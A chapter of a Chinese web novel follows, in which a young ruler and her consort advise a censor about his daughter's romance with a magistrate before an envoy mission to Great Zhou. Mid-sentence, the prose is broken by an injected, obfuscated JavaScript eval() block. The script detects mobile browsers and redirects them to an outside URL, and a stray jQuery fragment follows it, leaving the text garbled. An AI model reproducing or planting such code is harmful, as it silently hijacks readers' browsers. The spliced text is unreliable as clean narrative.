44.细有变

作品:《三春雁

    隔日傍晚,细雨长绵。


    雁翎和景南归一人身倚窗一边,站在书阁望溪中雨声,那溪中鱼儿不怕雨,游得异常欢快。


    “过段时间,各国便要派使臣前去大周进礼,想必会在那场鸿门宴席上见到二皇子。”雁翎负在身后的手中拿着一张敞开的折子,是百里序华呈上的,写着:


    今北殇有礼,大周去尔,臣女特意请命,同府衙周大人前去。


    雁翎身为一国之主,断不能冒然前去的,因各国与大周,北殇与各国之间只有和平盟约,和商行之路,无国主出行之安之策,何况大周的人太过精明,她若任性去了,后果便要北殇承担的,看来她不能亲眼瞧一瞧这二皇子到底是何方神圣,前世竟能踩着自己皇妹那般明朗的势头成为太子,还要了整个北殇的命。


    景南归双手抱臂,倏而不看水中雨,挪了挪身,看着小唯,“怎么,小唯还想当面给他一刀痛快。”话音戏笑。


    雁翎倒是想啊,但是不可以的,别说二皇子身边有多少高手,她如今弱女子一个,就算老天垂怜,能让她一刀解决了二皇子,北殇也会再次陷入困境,大周的人杀人不眨眼的,他们爱的只有自国百姓。


    “想啊,怎么不想,谁不想手刃仇人呢。”她怅然一叹,“做人要三思后行,何况一国之君呢,不然怎会设御史台呢。”


    景南归视着她抬手揉鬓的动作愈发重,就好似回到了从前,小唯很小的时候,为了北殇百姓,也为了对得起小唯自己这个身份,小小身躯前总会有一大堆书卷,差不多能把她完全挡住,揉鬓的动作就是那会儿留下的。


    小小年纪不得不为众人思虑,难免有所困顿,他看见了,身为君王的身不由己,明明上苍给了小唯一次新生,却飞得不彻底,还是用身份捆住了她。


    在前世之中,景南归乐在其中,丝毫没思虑过如今他所想的问题,小唯究竟快不快乐。


    若依今生之举,他会想前世小唯并不快乐,今生也会难过,人怎能坦然接受落差呢;


    若依前世之里,小唯是快乐的,他也乐在其中。


    好在上苍是眷顾二人的,往后他要小唯天天快乐。


    景南归皱眉撇嘴,调侃道:“若小唯准了百里小姐这道折子,怕是百里御史的折子便会呈上。”


    百里御史是不会同意的,同意百里小姐独当一面,替北殇走一遭的勇气;不同意随之一块去的是府衙周大人。


    雁翎赞同,她将身后折子递给景南归,“我听说这侯门之子,最是骁勇善战,想必文韬也有所长,不如就请世子阅此折,来日御史大人找上门,世子殿下发挥所长吧。”


    果不其然,这道折子马不停蹄送去百里府时,御史大人连赶马车过来,晚膳时分,侯府便来了不速之客。


    这客雁翎无法所避,堂上她还是坐在上座,景南归和客人一左一右坐着,客人滔滔不绝,皆是不愿周大人随女一同前去的心思。


    雁翎手肘抵着圈椅把手,指腹轻揉鬓角,见状况不对劲,坐直缓解气氛,“御史大人消消气,先喝盏茶,再说吧。”


    眼下公主殿下的名声好转许多,就连百里御史也难免对殿下宽容许多,没了昔日一在城中听闻公主殿下的传闻,回到家中就一副恨铁不成钢的气火加身,何况北殇事况明朗,景世子一心扶持公主,绝无二心,百里府自然消停了。


    可是一码归一码,百里御史总不能推自己女儿往火坑跳啊,他听殿下说话,也没闲片刻饮茶,转过身就对公主殿下诉苦。


    “殿下啊,老臣就这么一个女儿啊,老臣能害她吗,不能啊,她跟那位周大人不合适,景世子欲助长小女心中和周大人相爱之苗,老臣能不着急吗?”


    看得出来,还上火了。


    雁翎就知道事态从御史大人口中说出,就没轻重,只有加急,她明白身为父亲,不愿女儿所嫁门楣低垂,北殇也不缺前去大周的人才,只是今载她收到两道折子,一道是周大人请命前去,一道是百里小姐也去。


    此二人明显私下商量妥帖。


    她亦无法理出谁对谁错,只问了个问题,“卿说卿知道——”,她话刚说,景南归就在一旁生咳两声,打断她说话,雁翎寻声瞧之,人故作正经,手却指了指她和百里御史,她恍然明白,今世她压根没上过朝,她和北殇文武大臣压根不熟,可刚她那句话,很明显露馅了,在景南归面前露馅,说得太着急了。


    雁翎缓缓,睨眼瞧着百里御史,只顾着其女大事,没注意到她的语气,接着道:“其女和周大人两相欢喜一事,御史大人既然知晓,为何不找周大人谈一谈呢。”


    景南归随声附和,“是啊,御史大人,您可以直接去找周大人说清楚。”


    二人都没想到好的法子,只好将事情推给不在的人身上,正所谓清官难断家务事。


    百里御史摆摆手,“殿下啊,老臣不是没想过,是不敢去啊,您常居宫中,世子常居府中,许没听说,老臣爱女,实在不忍心看着小女为情所困,若老夫真去找周大人说清楚,以周大人的为人,日后定然不会纠缠小女,那小女的聪明伶俐,殿下和世子也看到了,必然能猜到是老臣从中作梗,小女岂不是和老臣生了嫌隙。”


    原来也是想借旁人之手将此事搅黄,雁翎和景南归相视一眼,似一眼万年,转瞬有了法子,虽然不太好,但是父女之间的误会,是要解开的。


    雁翎耐心说于百里御史听,“御史大人,百里小姐很是怕您会对周大人及其家人动手,既不敢在您跟前儿说心意,也不敢光明正大与周大人相约。


    御史大人所言,也怕百里小姐日后和大人心生隔阂,大人爱女心切,其女更是闺中典范,亦本君看呢,御史大人最该去找女儿谈谈,问问她愿意要什么,父女心事,不该你瞒她瞒,到最后两相不好。


    大人身为父亲,能及时察觉女儿待周大人的心思,是好事,大人究竟不喜周大人何处,本君无法判定,但抛去大人对其女心爱之人的仇意,您对周大人这个年纪轻轻便走上府衙之职的后生,是怎样心态。”


    景南归静坐侧旁,视着小唯沉色有度,有理有据,唇畔浅笑,端起桌上茶盏,一饮而尽。


    百里御史对公主殿下这番言谈,更是惊色有喜,他原以为城中百姓是夸大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415174|164119||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    其词,短短月余,公主殿下便从人人嫌到人人有了最起码的尊敬转换,今而所听所闻,着实有笑啊,看来景世子这决心还真是下对了。


    百里御史舒心一盏长眉,作揖回话,“回殿下话,那周大人出身贫寒,幸而良山书院所学,一举高中状元,蛰伏几年,府衙清廉,论才能第二,北殇无人敢称第一,老臣自当赏识此等人才为北殇效力。”


    景南归在一旁笑出声,“这不就得了,御史大人就拿平常心看待那位府衙大人,对您爱女,对您是最相得益彰的。”


    “那老臣就放任不管小女待周大人之心吗?这可不成,万一小女哪天跟我说,要和周大人成婚,老臣这心呐,就忐忑不安的,不成不成。”一说这个,百里御史脸色难看至极。


    雁翎一眼识破,“大人是害怕女儿出嫁,而并非害怕女儿嫁给心爱之人吧,不妨试探一下周大人是否愿意入赘呢,府衙大人为官清廉,月银有数,都城寸土寸金,即便成婚也无法采买大点的宅院给百里小姐,若周大人愿意住在百里府呢,御史大人还会阻止吗?”


    这话问的又脱了嘴,雁翎意识到,朝景南归看了眼,发现人也在看自己,她是不愿看着百里小姐有心上人,却无法畅心喜欢,也会心生涟漪,既然如此,最两全其美之法,便是周大人入赘,若不愿,自也没多喜欢百里小姐,是依着她前世待问题的思量而生的法子。


    她虽常年看《佛卷》,但不代表她当真佛性,她是君王之姿,怎会不知世态炎凉,此番百里大人若提议如此,周大人愿意,自然两家欢喜,周大人不愿,百里小姐也看清了周大人心思,事无对错,但论及时止损。


    在百里小姐和周大人启程前提议,最为妥帖。


    百里御史静思一番,将小几上的茶水一饮而尽,“老臣怎就没想到呢,倘若那周大人识趣,愿意入府,那老臣也遂了女儿愿。”刚公主殿下一席话,给了他莫大启发,“若那小子不愿意,我那女儿最懂其中弯绕,也会就此放下的。”


    绵雨停歇,月明星稀,雁翎和景南归送走百里御史,也没挪地儿,就坐在正堂用膳,雁翎吃着吃着担忧起来,“周大人会应下吗?”她担心百里小姐会难过。


    景南归顺着她的额前看到她说话的唇畔,他觉得小唯真的变了,“小唯,有句诗说‘随风潜入夜,润物细无声[1]’。”


    小唯也在悄然发生变化。


    至于周大人会不会应下,景南归不知道,他只知道他的小唯有了位友人,在为友人担忧,若依前世的她,别说没友人,即便有,也不会替之担忧的。


    雁翎嬉笑道:“也不知道是谁,那晚我说我不全是原来的我,会激动到害怕失去,这才过了几日,却欣赏起我之变化来。”


    景南归回得理直气壮,“那夜我非夜日我,今夜方知如此的你更鲜活,更是你。”


    雁翎盈盈一笑,那一路小跑过来的小厮让她和景南归都沉了色,侯府的小厮都不会慌张行走的,小厮作揖容禀。


    “门外有个自称那日见过殿下和世子的算命先生求见,但那人口吐鲜血,白发苍苍的,看样子快不行了。”